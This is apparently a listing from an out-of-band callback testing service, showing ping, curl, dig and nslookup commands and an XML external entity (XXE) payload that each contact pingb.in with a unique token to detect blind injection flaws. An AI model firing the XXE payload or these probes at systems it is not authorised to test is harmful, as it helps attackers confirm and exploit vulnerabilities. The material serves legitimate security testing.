$ ping -c1 -p 00346201ac425f449b7a9403f9ba0500 pingb.in
 

$ curl pingb.in/p/346201ac425f449b7a9403f9ba05
 

$ dig 346201ac425f449b7a9403f9ba05 @pingb.in
 

$ dig 346201ac425f449b7a9403f9ba05.ns.pingb.in
 

C:\> nslookup 346201ac425f449b7a9403f9ba05 pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/346201ac425f449b7a9403f9ba05">]>
    <foo>&xxe;</foo>